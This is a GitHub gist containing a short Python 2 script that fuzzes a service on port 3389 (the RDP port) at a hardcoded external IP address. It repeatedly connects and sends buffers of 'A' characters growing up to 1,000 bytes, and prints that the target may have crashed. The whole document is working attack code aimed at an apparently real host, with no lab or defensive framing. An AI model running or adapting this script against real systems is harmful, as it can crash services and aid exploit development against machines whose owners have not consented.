Created
July 12, 2020 15:54
-
-
Save andripwn/f3c2d6154906a6d50c086fef62f9c4ff to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
#https://github.com/gh0x0st | |
#[email protected] | |
import sys,socket | |
address = '46.31.116.71' | |
port = 3389 | |
buffer = ['\x41'] | |
counter = 100 | |
while len(buffer)<= 10: | |
buffer.append('\x41'*counter) | |
counter=counter+100 | |
try: | |
for string in buffer: | |
print '[+] Sending %s bytes...' % len(string) | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
connect=s.connect((address,port)) | |
s.recv(1024) | |
s.send(string + '\r\n') | |
print '[+] Done' | |
except: | |
print '[!] Unable to connect to the application. You may have crashed it.' | |
sys.exit(0) | |
finally: | |
s.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment